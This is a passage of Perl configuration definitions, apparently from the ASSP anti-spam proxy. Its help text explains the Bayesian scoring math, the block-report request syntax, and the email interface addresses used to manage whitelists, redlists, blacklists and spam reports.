 An resulting Spam-Probability below this value but higher than ( 1 - baysProbability ) is stated as \'UNSURE\' . In this case the half score will be added to the message score but not to the IP score and the message will not be blocked.<br /><br />
 The following default Bayesian math (prob = p1 / (p1 + p2)) is used to calculate the SpamProb value for \'n\' found Bayesian-Word-Pairs, each with a spam-weight \'p\' - where 0&lt;p&lt;1 :<br /><br />
 \'SpamProb\' = (p<sub>1</sub> * p<sub>2</sub> * ... * p<sub>n</sub>) / ( p<sub>1</sub> * p<sub>2</sub> * ... * p<sub>n</sub>  + (1 - p<sub>1</sub>) * (1 - p<sub>2</sub> ) * ... * (1 - p<sub>n</sub>))<br />',undef,undef,'msg004740','msg004741'],
['baysConf','Bayesian Confidence Threshold',3,\&textinput,'0','(0\.?\d*)',undef,' 
 Spam-Mails having a confidence above this threshold are scored higher with baysconfidenceValencePB. Set this only above 0 if you are familiar with the bayesian statistics used in ASSP.<br />
 Messages that are processed by the Bayesian check get a probability score and a confidence score. The confidence score in assp is a quality indicator. A confidence near 0 would mean the probability score is like a wild guess. A confidence score near 1 would mean that it\'s pretty sure that the bayesian analysis result is correct. 
 Set this level to a specfic value, let\'s say .001 (which is a good one for starting), then:<br />

 - messages with spam-probability higher than 0.6 and a confidence of more than .001 would add bayconfidenceValencePB<br />

 Carefully set this parameter above 0, if the bayesian corpus norm (shown by the rebuildspamdb log) is less than 0.6 or higher than 1.4 .<br /><br />
 The following math is used to calculate the SpamProbConfidence value for \'n\' found Bayesian-Word-Pairs, each with a spam-weight \'p\' - where 0&lt;p&lt;1 :<br /><br />
 extreme_confidence_count = |(0 &lt; p<sub>1...n</sub> &lt; 0.01)| - |(0.99 &lt; p<sub>1...n</sub> &lt; 1)|<br />
 extreme_confidence_count = 0 - if ( extreme_confidence_count &lt; 0 and SpamProb &gt; 0.5) or ( extreme_confidence_count &gt; 0 and SpamProb &lt;= 0.5) == TRUE; <br />
 extreme_confidence_count = abs( extreme_confidence_count )<br />
 mail_confidence = abs((P<sub>1</sub> * P<sub>2</sub> * ... * P<sub>k</sub>) - ((1 - P<sub>1</sub>) * (1 - P<sub>2</sub> ) * ... * (1 - P<sub>k</sub>))) - for all elements P<sub>1...k</sub> in (0.01 &lt; p<sub>1...n</sub> &lt; 0.99)<br />
 corpus_confidence = 1 / ((abs(1 - corpus_norm) + 1)<sup>int(abs(1 - corpus_norm) * 10)</sup>) - where the exponent is limited to a maximum of 4<br />
 SpamProbConfidence = 0.01<sup>extreme_confidence_count</sup> * mail_confidence * corpus_confidence * (n / maxBayesValues)<sup>2</sup><br /><br />
 The SpamProbConfidence is limited to a maximum of 1.0 . <br />
 All extreme values \'p\' having a spam weight less than 0.01 or higher than 0.99 with a corresponding extreme value like (0.009 &lt;-&gt; 0.999) are ignored for the mail_confidence calculation.<br /><br />
 <span class="negative"> empty or zero = disabled</span>.',undef,undef,'msg004750','msg004751'],


['AddSpamProbHeader','Add Bayes Probability Header',0,\&checkbox,'','(.*)',undef,
 'Adds a line to the email header "X-Assp-Spam-Prob: 0.0123" Probability ranges from 0 to +1 where > baysProbability is spam.
<br /><hr />
  <div class="menuLevel1">Notes On Bayesian</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/bayesian.txt\',3);" />',undef,undef,'msg004790','msg004791'],

[0,0,0,'heading','Blocking Reports'],
['ReportLog','Enable Report logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,2,'(.*)',undef,
  ''],

['EmailBlockReport','Request Block Report',40,\&textinput,'assp-blockreport','(.*)',undef,
 'Any mail sent by local/authenticated users to this username will be interpreted as a request to get a report about blocked emails. Do not put the full address here, just the user part. For example: assp-blockreport<br />
 Leading digits/numbers in the mail subject will be interpreted as "report request for the last number of days". If the number of days is not specified in the mail subject, a default of 5 days will be used to build the report. <br />
 All characters behind the "number of days" will be interpreted as a regular expression to overwrite the BlockReportFilter - leading and trailing white spaces will be ignored.<br />
Only Users defined in EmailBlockTo, EmailAdmins and EmailAdminReportsTo are \'Admins\' and can request a report for other users. They have to use a special syntax with \'=>\' in the body of the report request. The syntax is: <br />
 QueryAddress=>ReportRecipient=>ReportDays<br />There may be one or many lines with this syntax . For example:<br />
 user@domain and user@domain=>user@domain - will send a report for this user to this user<br />
 *@domain (better use) *@domain=>* - will send a report for every blocked user in this domain to this user<br />
 user@domain=>recipient@any-domain - will send a report for user@domain to recipient@any-domain<br />
 *@domain=>recipient@any-domain - will send a report for every blocked user in this domain to recipient@any-domain<br />
 A third parameter is possible to set, which defines the number of days for which the report should be created. The default (if empty or not defined) is one day. This value is used to calculate the \'next run date\'. For example:<br />
 *@domain=>recipient@any-domain=>2 - creates a report for two days.<br />
 *@domain=>*=>14 - creates a report for 14 days.<br />
 user@domain=>=>3 or user@domain=>*=>3 - creates a report for three days. The second parameter is here empty or *.<br />
 To overwrite the defined BlockReportFilter, you can define a fourth parameter, which contains the regular expression to use.<br />
 *@domain=>*=>14=>virus|newsletter - creates a report for 14 days and skips all lines that contains the words \'virus\' or \'newsletter\'.<br />
 If an admin emails a block report request and specifies a filter in the subject of the email and a fourth parameter in the body, both regular expressions will be merged in to a single regex for each line.<br />
 If you or a user want the default BlockReportFilter to become part of the overwrite regex, the literal \'$BRF\' should be inluded in the regex like:<br />
 *@domain=>*=>14=>virus|$BRF|newsletter - or even in the subject of the email<br />
 In this case the literal \'$BRF\' will be replaced by the BlockReportFilter.<br />
 Only Admins are able to request blockreports for non local email addresses. For example:<br />
 user@non_local_domain=>recipient@any-domain=>4<br />
 *@non_local_domain=>recipient@any-domain=>4<br />
 This will result in an extended blockreport for the non local address(es). Replace \'non_local_domain\' with the domain name you want to query for.<br />
 It is possible to change the complete design of the BlockReports to your needs,  using a html-css file. An default css-file \'blockreport.css\' is in the image folder.<br />
 There you can also find a default icon file \'blockreporticon.gif\' and a default header-image-file \'blockreport.gif\' - which is the same like \'logo.gif\'.  There is no need to install that fles. If assp can not find this files in its
 image folder, it will use default hardcoded css and icon. If the file \'blockreport.gif\' is not found \'logo.gif\' will be used.<br />
 
  <input type="button" value=" Edit blockreport_sub.txt file" onclick="javascript:popFileEditor(\'reports/blockreport_sub.txt\',2);" /><br />
  <input type="button" value=" Edit blockreport_html.txt file" onclick="javascript:popFileEditor(\'reports/blockreport_html.txt\',2);" /><br />
  <input type="button" value=" Edit blockreport_text.txt file" onclick="javascript:popFileEditor(\'reports/blockreport_text.txt\',2);" />','Basic',undef,'msg008400','msg008401'],

['EmailBlockReply','Reply to Block-Report Request','0:NO REPLY|1:REPLY TO SENDER|2:REPLY TO EmailBlockTo|3:REPLY TO BOTH',\&listbox,1,'(.*)',undef,
  '',undef,undef,'msg008420','msg008421'],
['EmailBlockTo','Send Copy of Block-Reports TO',40,\&textinput,'','(.*@.*)?',undef,
  'Email sent from ASSP acknowledging your submissions will be sent to this address if EmailBlockReply is set. For example: admin@domain.com'],
['EmailBlockReportDomain','Request Blocked Email Domain',40,\&textinput,'@assp.local','(\@.*)',undef,
  'Set this to the domain to which the users can send a request to receive blocked messages. Notice the leading required \'@\'. For example: @assp.local.'],

['QueueUserBlockReports','Queue User Block Report Requests','0:run instantly|1:store and run once at midnight|2:store and run scheduled|3:run delayed',\&listbox,0,'(.*)',undef,
  'How to process block report requests for users (not EmailBlockTo, EmailAdmins, EmailAdminReportsTo).<br />
  \'run instantly\' - the request will be processed instantly (not stored).<br />
  \'store and run once at midnight\' - the request will be stored/queued, runs at QueueSchedule, and will be removed from queue after that<br />

 \'store and run scheduled\' - the request will be stored/queued, runs permanently scheduled at BlockReportSchedule until it will be removed from queue - a \'+\' in the subject is not needed<br />
  \'run delayed\' - the request will be stored and  processed during the next minutes<br />
  To add a request to queue the user has to send an email to EmailBlockReport. Leading digits/numbers in the mail subject will be interpreted as "report request for the last number of days". If the number of days is not specified in the mail subject, a default of 5 days will be used to build the report.<br />
  If \'run instantly\',\'run delayed\' or \'store and run once at midnight\' is selected, but a user wants to schedule a permanent request, a leading \'+\' before the digits in subject is required.<br />
  To remove a request from queue the user has to send an email to EmailBlockReport with a leading \'-\' in the subject.<br />
  <input type="button" value=" Edit user report queue" onclick="javascript:popFileEditor(\'files/UserBlockReportQueue.txt\',2);" /><input type="button" value=" Edit user report instant queue" onclick="javascript:popFileEditor(\'files/UserBlockReportInstantQueue.txt\',2);" />'],
['QueueSchedule','Runtime for Queued Requests',4,\&textinput,'0','(.*)',undef,
  'Runtime hour for reports in QueueUserBlockReports. Set a number between 0 and 23. 0 means midnight and is default'],
['BlockRepForwHost','Forward The Blockreportrequest to other ASSP',40,\&textinput,'','(.*)',undef,'If you are using more than one ASSP (backup MX), define the IP:relayPort of the other ASSP here (separate multiple entries by "|"). The Blockreportrequest will be forwarded to this ASSP and the user will get a blockreport from every ASSP. The perl module <a href="http://search.cpan.org/search?query=Net::SMTP/" rel="external">Net::SMTP</a> is required to use this feature.'],

['BlockReportFile','File for Blockreportrequest',40,\&textinput,'','(file:.+)|',undef,'A file with BlockReport requests. ASSP will generate a block report for every line in this file (file:files/blockreportlist.txt - file: is required if defined!) every day at BlockReportSchedule for the last day. The perl modules <a href="http://search.cpan.org/search?query=Net::SMTP/" rel="external">Net::SMTP</a> and <a href="http://search.cpan.org/search?query=Email::MIME::Modifier /" rel="external">Email::MIME::Modifier </a> are required to use this feature. A report will be only created, if there is at least one blocked email found! The syntax is: <br />
 QueryAddress=>ReportRecipient=>ReportDays<br /> 
There may be one or many lines with this syntax. For example:<br />
 user@domain and user@domain=>user@domain - will send a report for this user to this user<br />
 *@domain (better use) *@domain=>* - will send a report for every blocked user in this domain to this user<br />
 *@* - creates a report for all local users in all local domains<br />
 user@domain=>recipient@any-domain - will send a report for user@domain to recipient@any-domain<br />
 *@domain=>recipient@any-domain - will send a report for every blocked user in this domain to recipient@any-domain<br />
A third parameter is possible to set, which defines the number of days for which the report should be created. The default (if empty or not defined) is one day. This value is used to calculate the \'next run date\'. For example:<br />
 *@domain=>recipient@any-domain=>2 - creates a report for two days.<br />
 *@domain=>*=>14 - creates a report for 14 days.<br />
 user@domain=>=>3 or user@domain=>*=>3 - creates a report for three days. The second parameter is here empty or *!<br />
 To overwrite the defined BlockReportFilter, you can define a fourth parameter, which contains the regular expression to use.<br />
 *@domain=>*=>14=>virus|newsletter - creates a report for 14 days and skips all lines that contain the words \'virus\' or \'newsletter\'.<br />
 Only Admins are able to request blockreports for non local email addresses. For example:<br />
 user@non_local_domain=>recipient@any-domain=>4<br />
 *@non_local_domain=>recipient@any-domain=>4<br />
 This will result in an extended blockreport for the non local address(es). Replace \'non_local_domain\' with the domain name you want to query for.',undef,undef,'msg008470','msg008471'],
['BlockReportSchedule','Runtime BlockReportFile',4,\&textinput,'0','(.*)',undef,
  'Runtime hour for reports in BlockReportFile. Set a number between 0 and 23. 0 means midnight and is default.'],
['BlockReportNow','Generate a BlockReport from BlockReportFile Now',0,\&checkbox,'','(.*)','ConfigChangeRunTaskNow', "If selected, ASSP will generate a block report from BlockReportFile now. <input type=button value=\"Run Now!\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />&nbsp;<input type=button value=\"Refresh Browser\" onclick=\"document.forms['ASSPconfig'].theButtonRefresh.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />"],
['BlockMaxSearchTime','Max Search time per log File',4,\&textinput,'0','(\d+)',undef,
  'The maximum time in seconds, the Blockreport feature spends on searching in one log file. If this value is reached, the next log file will be processed. A value of 0 disables this feature and all needed log files will be fully processed.'],
['BlockReportFormat','The format of the Report Email','0:text and html|1:text only|2:html only',\&listbox,1,'(.*)',undef,
  'Block reports will be sent as multipart/alternative MIME messages. They normaly contains two parts, a plain text part and a html part. Select "text only" or "html only" if you want to skip any of this parts.<br />
  To make it possible to detect a resent email, ASSP will add a header line "X-Assp-Resend-Blocked: myName" to each email!'],
['BlockReportHTTPName','My HTTP Name',40,\&textinput,'','(.*)',undef,'The hostname for HTTP links in AdminUsers Blockreports and use of the webSecondaryPort. If not defined the local hostname will be used.'],
['BlockReportFilter', 'Regular Expression to Skip Log Records*',80,\&textinput,'','(.*)','ConfigCompileRe',
 "Put anything here to identify messages which should not be reported. For example:  \\[Virus\\]|\\[BlackDomain\\]"],

['inclResendLink','Include a Resend-Link for every resendable email','0:disabled|1:in plain text report|2:in html report|3:in both',\&listbox,3,'(.*)',undef,
  'Block reports will be sent as multipart/alternative MIME messages. They contains two parts, a plain text part and a html part. If a blocked email is stored in any folder, it is possible to include a link for each email in to the report. Define here what you want ASSP to do. Note: File name logging (fileLogging) must be on! The perl module <a href="http://search.cpan.org/search?query=Email::Send/" rel="external">Email::Send</a> is required to use this feature.'],
['BlockResendLink','Which Link Should be included','0:both|1:left|2:right',\&listbox,0,'(.*)',undef,
  'If HTML is enabled in inclResendLink, two links (one on the left and one on the right site) will be included in the report email by default. Depending on the used email clients it could be possible, that one of the two links will not work for you. Try out what link is working and disable the other one, if you want.'],
['BlockResendLinkLeft','User which get the Left link only* ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'List of users and domains that will get the left link only. The setting for BlockResendLink will be ignored for this entries!'],
['BlockResendLinkRight','User which get the right link only* ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'List of users and domains that will get the right link only. The setting for BlockResendLink will be ignored for this entries!'],
['DelResendSpam','Delete Mails in Spam Folder',0,\&checkbox,'1','(.*)',undef, 'If selected, an user request to resend a blocked email will delete the file in the spamlog folder - an admin request will move the file to the correctednotspam folder.'],
['autoAddResendToWhite','Automatic add Resend Senders to Whitelist','0:no|1:Users only|2:Admins only|3:Users and Admins',\&listbox,'3','(.*)',undef, 'If a resend request is made by any of the selected users, the original sender of the resent mail will be added to whitelist.<br /><hr />
  <div class="menuLevel1">Notes On Blocking Reports</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/blockreports.txt\',3);" />'],

[0,0,0,'heading','Email Interface '],
['EmailInterfaceOk','Enable Email Interface <a href="http://apps.sourceforge.net/mediawiki/assp/index.php?title=How_do_i_use_the_e-mail_interface" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="How do I use the e-mail interface" /></a>',0,\&checkbox,1,'(.*)',undef,
  'Checked means that you want ASSP to intercept and parse mails to the below usernames at any domain which is listed in localDomains. You can use \'assp.local\' or \'@assp-notspam.org\' because they are automatically included.  The interface accepts mails only from local senders coming from acceptAllMail or through relayPort or from authenticated SMTP connections or from addresses listed in EmailSenderOK. <br /><hr />
  <div class="menuLevel1">Notes On Email Interface</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/emailinterface.txt\',3);" />'],
['EmailAdminReportsTo','Admin Mail Address',40,\&textinput,'','(.*@.*)?',undef,
  'Warnings/infos  will be sent to this address. For example: admin@domain.com'],

 ['EmailFrom','From Address for Reports',40,\&textinput,'<postmaster@assp-notspam.org>','(.*)',undef,
  'Email sent from ASSP acknowledging your submissions will be sent from this address. For example: <postmaster@assp-notspam.org>'],

['EmailHelp','Help Address',20,\&textinput,'assp-help','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request for help. Do not put the full address here, just the user part. For example: assp-help. The user would then send to assp-help@anylocaldomain.com.'],
['EmailAdmins','Authorized Addresses* ',120,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Mail from any of these addresses can add/remove to/from redlist, spamlovers, noprocessing. May request an EmailBlockReport for a list of users. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com)'],
['EmailAdminDomains','Restrict Email Admins to Domains*',40,\&textinput,'','(file:.+)|','ConfigMakeEmailAdmDomRe',
  'Use this parameter to restrict users registered in EmailAdmins, EmailAdminReportsTo and EmailBlockTo to a list of domains or users, for which they can request BlockReports.<br />
  The file: option is required. Use the following syntax to define an entry (one per line):<br />
  EmailAdminAddress=>*@domain1,*@domain2 user@domain3 ...<br />
  [user@domain]=>*@domain1,*@domain2 user@domain3 ...<br />
  Wildcards are allowed to be used in the domain definition - like *@*.domain.tld - separate multiple domains by comma or space.<br />
  If a BlockReport is requested for a not allowed email address, the complete BlockReport request will be ignored.<br />
  If an EmailAdmins address is not registered in this parameter, he/she is able to request BlockReports for all domains.',undef,undef,'msg009710','msg009711'],
['EmailSenderOK','Accept Emails (Reports) from these external addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Allow these external domains/addresses to send to the email
interface. This overwrites the standard behaviour, which allows only reqests from local or authenticated users. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com)'],
['EmailSenderNotOK','Not Authorized Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Mail from any of these addresses are not accepted from Email Interface. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).'],

['EmailSenderIgnore','Ignore Not Authorized Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Mail from any of these addresses are not accepted from Email Interface, except "Help Report", "Analyze Report" and "Block Report/Resend". Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). The user will get not informed about the denied request.',undef,undef,'msg009390','msg009391'],

['EmailSpam','Report Spam to this Address',20,\&textinput,'assp-spam','(.*)@?',undef,
  'Any mail sent or forwarded by local/authenticated users to this username will be interpreted as a report about a Spam that got through (counts 2x). Do not put the full address here, just the user part. For example: assp-spam. The user would then send to assp-spam@anylocaldomain.com.<br />
  This works best if the mails are reported as attachments or copied into a new mail (header and body), because forwarding the mail will remove the original header.
  You can sent multiple emails as attachments. Each attached email-file must have the extension defined in "maillogExt". In this case only the attachments will be processed. Multiple attachments get truncated to MaxBytesReports. To use this multi-attachment-feature an installed Email::MIME::Modifier module in PERL is needed.','Basic'],

['EmailHam','Report NotSpam to this Address',20,\&textinput,'assp-notspam','(.*)@?',undef,
  'Any mail sent or forwarded by local/authenticated users to this username will be interpreted as a good mail that was mistakenly listed as spam (counts 4x). Do not put the full address here, just the user part. For example: assp-notspam. The user would then send to assp-notspam@anylocaldomain.com<br />
This works best if the mails are reported as attachments or copied into a new mail (header and body) because forwarding the mail will remove the original header. You can sent multiple emails as attachments. Each attached email-file must have the extension defined in "maillogExt". In this case only the attachments will be processed. Multiple attachments get truncated to MaxBytesReports. To use this multi-attachment-feature an installed Email::MIME::Modifier module in PERL is needed.','Basic'],
['MaxBytesReports','Error Max Bytes',10,\&textinput,20000,'(\d+)',undef,'How many bytes of an error report (EmailHam, EmailSpam) will ASSP look at. For example: 20000.'],
['EmailErrorsReply','Reply to Spam/NotSpam Reports','0:NO REPLY|1:REPLY TO SENDER|2:REPLY TO EmailErrorsTo|3:REPLY TO BOTH',\&listbox,1,'(.*)',undef,  ''],
['EmailErrorsTo','Send Copy of Spam/NotSpam Reports TO',40,\&textinput,'','(.*@.*)?',undef,
  'Email sent from ASSP acknowledging your submissions will be sent to this address. For example: admin@domain.com<br />'],

['EmailErrorsModifyWhite','Spam/NotSpam Report will modify Whitelist ','0:disabled|1:modify whitelist|2:show whitelist',\&listbox,1,'(.*)',undef,
  'If set to \'modify whitelist\' NotSpam Reports will add email addresses to the Whitelist, Spam Reports will remove addresses from the Whitelist. If set to \'show whitelist\' Spam Reports will show if addresses are whitelisted. This works best if the mails are reported as attachments or copied into a new mail (header and body) because forwarding the mail will remove the original header.','Basic',undef,'msg005320','msg005321'],
['EmailErrorsModifyNoP','Combined Spam Report and NoProcessing Deletion','0:disabled|1:modify noprocessing|2:show noprocessing',\&listbox,1,'(.*)',undef,
  'If set to \'modify noProcessing\' Spam Reports will remove email addresses from noProcessing list. If set to \'show noProcessing\' Spam Reports will show if addresses are on noProcessing list.','Basic',undef,'msg008790','msg008791'],

['EmailWhitelistAdd','Add to Whitelist Address',20,\&textinput,'assp-white','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to add addresses to the whitelist.   Whole domains can be added by putting a wildcard in the userpart of the address: \'*@example.com\'. <br />Do not put the full address here, just the user part. For example: assp-white. The user would then send to assp-white@anylocaldomain.com.
  ','Basic'],
['EmailWhitelistRemove','Remove from Whitelist Address',20,\&textinput,'assp-notwhite','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to remove addresses from the whitelist. <br />Do not put the full address here, just the user part.For example: assp-notwhite. The user would then send to assp-notwhite@anylocaldomain.com.
  ','Basic'],
['EmailWhiteRemovalAdminOnly','Allow  Whitelist Removals for Admins only ',0,\&checkbox,'','(.*)',undef,
  'Only the users defined in EmailWhitelistTo, EmailAdmins and EmailAdminReportsTo are able to remove addresses from the whitelist.'],

['EmailWhitelistReply','Reply to Add to/Remove from Whitelist','0:NO REPLY|1:REPLY TO SENDER|2:REPLY TO EmailWhitelistTo|3:REPLY TO BOTH',\&listbox,1,'(.*)',undef,
  ''],
['EmailWhiteRemovalToRed','Add  Whitelist Removals To Redlist ',0,\&checkbox,'','(.*)',undef,
  'Addresses which are removed from Whitelist via EmailWhitelistRemove will automatically be added to the Redlist. The address can only be added again to the Whitelist after it is removed from the Redlist.'],
['EmailWhitelistTo','Send Copy of Whitelist-Reports TO',40,\&textinput,'','(.*@.*)?',undef,
  'Email sent from ASSP acknowledging your submissions will be sent to this address. For example: admin@domain.com'],
['EmailRedlistAdd','Add to Redlist Address',20,\&textinput,'assp-red','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to add the sender address to the redlist. Only the users defined in EmailRedlistTo, EmailAdmins and EmailAdminReportsTo are able to define a list of email addresses in the mail body. <br /> Do not put the full address here, just the user part. For example: assp-red. The user would then send to assp-red@anylocaldomain.com.
  '],
['EmailRedlistRemove','Remove from Redlist Addresses',20,\&textinput,'assp-notred','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to remove the sender address from the redlist. Only the users defined in EmailRedlistTo, EmailAdmins and EmailAdminReportsTo are able to define a list of email addresses in the mail body. <br />
  Do not put the full address here, just the user part. For example: assp-notred. The user would then send to assp-notred@anylocaldomain.com.'],
['EmailRedlistReply','Reply to Add to/Remove from Redlist','0:NO REPLY|1:REPLY TO SENDER|2:REPLY TO EmailRedlistTo|3:REPLY TO BOTH',\&listbox,1,'(.*)',undef,
  ''],
['EmailRedlistTo','Send Copy of Redlist-Reports TO',40,\&textinput,'','(.*@.*)?',undef,
  'Email sent from ASSP acknowledging your submissions will be sent to this address. For example: admin@domain.com'],
['EmailSpamLoverAdd','Add to SpamLover Addresses',20,\&textinput,'assp-spamlover','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to add the sender address to spamLovers. Only the users defined in EmailSpamLoverTo, EmailAdmins and EmailAdminReportsTo are able to define a list of email addresses in the mail body.<br /> Do not put the full address here, just the user part. For example: assp-spamlover. To use this option, you have to configure spamLovers in a plain ASCII file one address per line: file:files/bombre.txt".'],
['EmailSpamLoverRemove','Remove from SpamLover Addresses',20,\&textinput,'assp-notspamlover','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to remove the sender address from spamLovers. Only the users defined in EmailSpamLoverTo, EmailAdmins and EmailAdminReportsTo are able to define a list of email addresses in the mail body. <br />
  Do not put the full address here, just the user part. <br />For example: assp-notspamlover'],
['EmailSpamLoverReply','Reply to Add to/Remove from SpamLovers','0:NO REPLY|1:REPLY TO SENDER|2:REPLY TO EmailSpamLoverTo|3:REPLY TO BOTH',\&listbox,1,'(.*)',undef,
  ''],
['EmailSpamLoverTo','Send Copy of Spamlover-Change-Reports TO',40,\&textinput,'','(.*@.*)?',undef,
  'Email sent from ASSP acknowledging your submissions will be sent to this address. For example: admin@domain.com'],
['EmailNoProcessingAdd','Add to NoProcessing Addresses',20,\&textinput,'assp-nop','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to add the sender address to the noProcessing addresses. Only the users defined in EmailNoProcessingTo, EmailAdmins and EmailAdminReportsTo are able to define a list of email addresses in the mail body. <br />Do not put the full address here, just the user part. For example: assp-nop. To use this option, you have to configure noProcessing in a plain ASCII file one address per line: "file:files/noprocessing.txt"'],
['EmailNoProcessingRemove','Remove from noProcessing Addresses',20,\&textinput,'assp-notnop','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to remove the sender address from noProcessing .<br />
  Do not put the full address here, just the user part. Only the users defined in EmailNoProcessingTo, EmailAdmins and EmailAdminReportsTo are able to define a list of email addresses in the mail body. <br />For example: assp-notnop. To use this option, you have to configure noProcessing in a plain ASCII file one address per line: "file:files/noprocessing.txt"'],
['EmailNoProcessingReply','Reply to Add to/Remove from noProcessing','0:NO REPLY|1:REPLY TO SENDER|2:REPLY TO EmailSpamLoverTo|3:REPLY TO BOTH',\&listbox,1,'(.*)',undef,
  ''],
['EmailNoProcessingTo','Send Copy of NoProcessing-Change-Reports TO',40,\&textinput,'','(.*@.*)?',undef,
  'Email sent from ASSP acknowledging your submissions will be sent to this address. For example: admin@domain.com'],
['EmailBlackAdd','Add to BlackListed  Addresses',20,\&textinput,'assp-black','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to add to blackListedDomains. Only the users defined in EmailAdmins and EmailAdminReportsTo are able to request an addition. <br />Do not put the full address here, just the user part. For example: assp-black. To use this option, you have to configure blackListedDomains in a plain ASCII file one address per line: "file:files/blackdomains.txt" '],
['EmailBlackRemove','Remove from BlackListed Addresses',20,\&textinput,'assp-notblack','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to remove from weightedAddresses .<br />
  Do not put the full address here, just the user part. Only the users defined in EmailAdmins and EmailAdminReportsTo are able to request an addition. <br />For example: assp-notblack. To use this option, you have to configure weightedAddresses in a plain ASCII file one address per line: "file:files/weightedAddresses.txt"'],
['EmailErrorsModifyPersBlack','Spam/NotSpam Report will modify Personal Blacklist *',60,\&textinput,'*@*','(.*)','ConfigMakeSLRe',
  'Spam Reports will add email addresses to the Personal Blacklist, NotSpam Reports will remove addresses from the Personal Blacklist, if the report senders address matches. EmailAdmins will automatically add/remove to Personal Blacklist in a special way (from,*), which blocks an address for all recipients.<br />
  Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com). Wildcards are supported (fribo*@domain.com).<br />
  Default is *@* , which matches all addresses.',undef,undef,'msg009610','msg009611'],
['EmailErrorsModifyNotPersBlack','Spam/NotSpam Report will not modify Personal Blacklist *',60,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Spam Reports will not add email addresses to the Personal Blacklist, NotSpam Reports will not remove addresses from the Personal Blacklist, if the report senders address matches. <br />
  Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com). Wildcards are supported (fribo*@domain.com).'],
['EmailAdminsModifyGlobalBlack','EmailAdmins will block for all Recipients ',0,\&checkbox,'1','(.*)',undef,
  '  EmailAdmins will automatically add/remove to Personal Blacklist using a wildcard (*) for the sender which blocks an address for all recipients.'],

['EmailPersBlackAdd','Add to Personal BlackListed  Addresses',20,\&textinput,'assp-persblack','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to add the listed address(es) to the personal blackListed addresses. Do not put the full address here, just the user part. <br />
  For example: assp-persblack.<br />
  The add and remove is done via email-interface, by sending specific email addresses to \'EmailPersBlackAdd\'  and \'EmailPersBlackRemove\'.

  A local user can force a complete report about all his personal black list entries by defining an email address that begins with \'reportpersblack\' in a remove or add request : eg: reportpersblack@anydomain.com or by sending an empty body.<br />
  EmailAdmins will automatically add/remove in a special way (from,*), blocking for all recipients - if EmailAdminsModifyGlobalBlack is set.
  Only an admin can force a complete cleanup of all personal black entries for a specific email address for all local users - sending an email to \'EmailPersBlackRemove\' with the address followed by \',*\' in the body
  eg: address_to_remove@the_domain.foo,*
<input type="button" value=" Show Personal Blacklist" onclick="javascript:popFileEditor(\'persblack\',5);" />',undef,undef,'msg009110','msg009111'],
['EmailPersBlackRemove','Remove from Personal BlackListed Addresses',20,\&textinput,'assp-notpersblack','(.*)@?',undef,
  'Any mail sent by local/authenticated users to this username will be interpreted as a request to remove the listed address(es) from the personal blackListed addresses .<br />
  Do not put the full address here, just the user part.<br />
  For example: assp-notpersblack.<br />
  The add and remove is done via email-interface, by sending specific email addresses to \'EmailPersBlackAdd\'  and \'EmailPersBlackRemove\'.
  A local user can force a complete report about all his personal black list entries by defining an email address that begins with \'reportpersblack\' in a remove or add request : eg: reportpersblack@anydomain.com or by sending an empty body.<br />
  Only an admin can force a complete cleanup of all personal black entries for a specific email address for all local users - sending an email to \'EmailPersBlackRemove\' with the address followed by \',*\' in the body
  eg: address_to_remove@the_domain.foo,*
  <input type="button" value=" Show Personal Blacklist" onclick="javascript:popFileEditor(\'persblack\',5);" />',undef,undef,'msg009120','msg009121'],
['EmailBlackReply','Reply to Add to/Remove from BlackListed','0:NO REPLY|1:REPLY TO SENDER|2:REPLY TO EmailBlackTo|3:REPLY TO BOTH',\&listbox,1,'(.*)',undef,
  ''],
['EmailBlackTo','Send Copy of Black-Change-Reports TO',40,\&textinput,'','(.*@.*)?',undef,
  'Email sent from ASSP acknowledging your submissions will be sent to this address. For example: admin@domain.com'],
['EmailAnalyze','Request Analyze Report',20,\&textinput,'assp-analyze','(.*)@?',undef,
  'Any mail sent or forwarded by local/authenticated users to this username will be interpreted as a request for analyzing the mail. Do not put the full address here, just the user part. For example: assp-analyze','Basic'],
['EmailAnalyzeReply','Reply to Analyze Request','0:NO REPLY|1:SEND TO SENDER|2:SEND TO EmailAnalyzeTo|3:SEND TO BOTH',\&listbox,1,'(.*)',undef,''],
['EmailAnalyzeTo','Send Copy of Analyze-Reports',40,\&textinput,'','(.*@.*)?',undef,
  'A copy of the Analyze-Report will be sent to this address. For example: admin@domain.com'],
